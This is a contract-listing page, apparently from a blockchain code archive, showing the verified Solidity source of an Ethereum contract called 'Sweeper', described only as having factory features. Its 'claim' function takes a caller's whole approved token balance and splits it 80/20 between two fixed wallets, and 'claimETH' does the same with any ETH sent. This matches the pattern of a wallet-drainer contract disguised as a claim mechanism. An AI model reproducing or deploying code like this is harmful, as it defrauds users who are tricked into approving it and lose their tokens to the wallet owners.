Sweeper

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "reaper.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.20;\r
\r
interface IERC20 {\r
    function balanceOf(address account) external view returns (uint256);\r
    function allowance(address owner, address spender) external view returns (uint256);\r
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
    function transfer(address recipient, uint256 amount) external returns (bool);\r
}\r
\r
contract Sweeper {\r
    string public constant name = "Sweeper Contract";\r
    string public constant version = "1.0";\r
\r
    address public immutable wallet80;\r
    address public immutable wallet20;\r
    bool private locked;\r
    uint256 public constant MAX_CALLS = 10;\r
    uint256 private constant GAS_RESERVE = 100000;\r
\r
    event Claimed(address indexed user, address indexed token, uint256 amount80, uint256 amount20);\r
    event ETHClaimed(address indexed user, uint256 amount80, uint256 amount20);\r
    event MulticallExecuted(address indexed user, uint256 callsCount);\r
    event ERC20Recovered(address indexed token, address indexed to, uint256 amount);\r
\r
    modifier noReentrant() {\r
        require(!locked, "Reentrant call");\r
        locked = true;\r
        _;\r
        locked = false;\r
    }\r
\r
    constructor(address _wallet80, address _wallet20) {\r
        require(_wallet80 != address(0), "wallet80 is zero");\r
        require(_wallet20 != address(0), "wallet20 is zero");\r
        require(_wallet80 != _wallet20, "wallets must differ");\r
        wallet80 = _wallet80;\r
        wallet20 = _wallet20;\r
    }\r
\r
    function claim(address token) external noReentrant {\r
        IERC20 erc20 = IERC20(token);\r
        uint256 balance = erc20.balanceOf(msg.sender);\r
        uint256 allowanceAmount = erc20.allowance(msg.sender, address(this));\r
\r
        require(balance > 0, "No tokens");\r
        require(allowanceAmount >= balance, "Allowance low");\r
\r
        uint256 amountToWallet20 = balance * 20 / 100;\r
        uint256 amountToWallet80 = balance - amountToWallet20;\r
\r
        bool success = erc20.transferFrom(msg.sender, address(this), balance);\r
        require(success, "TransferFrom failed");\r
\r
        if (amountToWallet80 > 0) {\r
            success = erc20.transfer(wallet80, amountToWallet80);\r
            require(success, "Transfer to wallet80 failed");\r
        }\r
        if (amountToWallet20 > 0) {\r
            success = erc20.transfer(wallet20, amountToWallet20);\r
            require(success, "Transfer to wallet20 failed");\r
        }\r
\r
        emit Claimed(msg.sender, token, amountToWallet80, amountToWallet20);\r
    }\r
\r
    function claimETH() external payable noReentrant {\r
        require(msg.value > 0, "No ETH sent");\r
\r
        uint256 amountToWallet20 = msg.value * 20 / 100;\r
        uint256 amountToWallet80 = msg.value - amountToWallet20;\r
\r
        (bool sent80, ) = payable(wallet80).call{value: amountToWallet80}("");\r
        require(sent80, "Send to wallet80 failed");\r
\r
        (bool sent20, ) = payable(wallet20).call{value: amountToWallet20}("");\r
        require(sent20, "Send to wallet20 failed");\r
\r
        emit ETHClaimed(msg.sender, amountToWallet80, amountToWallet20);\r
    }\r
\r
    struct Call {\r
        address target;\r
        bytes callData;\r
    }\r
\r
    function multicall(Call[] calldata calls) external noReentrant {\r
        require(calls.length <= MAX_CALLS, "Too many calls");\r
\r
        for (uint256 i = 0; i < calls.length; i++) {\r
            (bool success, ) = calls[i].target.call{gas: GAS_RESERVE}(calls[i].callData);\r
            require(success, _errorMessage(i));\r
        }\r
\r
        emit MulticallExecuted(msg.sender, calls.length);\r
    }\r
\r
    function recoverERC20(address tokenAddress, uint256 amount) external {\r
        require(msg.sender == wallet80 || msg.sender == wallet20, "Not authorized");\r
        bool success = IERC20(tokenAddress).transfer(msg.sender, amount);\r
        require(success, "Recover failed");\r
        emit ERC20Recovered(tokenAddress, msg.sender, amount);\r
    }\r
\r
    function _errorMessage(uint256 index) internal pure returns (string memory) {\r
        return string(abi.encodePacked("Call failed at idx ", _toString(index)));\r
    }\r
\r
    function _toString(uint256 value) internal pure returns (string memory) {\r
        if (value == 0) return "0";\r
        uint256 temp = value;\r
        uint256 digits;\r
        while (temp != 0) {\r
            digits++;\r
            temp /= 10;\r
        }\r
        bytes memory buffer = new bytes(digits);\r
        while (value != 0) {\r
            digits -= 1;\r
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r
            value /= 10;\r
        }\r
        return string(buffer);\r
    }\r
\r
    receive() external payable {\r
        revert("No direct ETH");\r
    }\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0xf1971b1c30f9dff23183b47683bc9d912153eddb|verified:true|block:23700051|tx:0xe7b8c93ee6c70cbe76385753dbb07598d6ed502b11691fb0b1a2f89cad45b435|first_check:1761989500

Submitted on: 2025-11-01 10:31:40

Comments

Log in to comment.

No comments yet.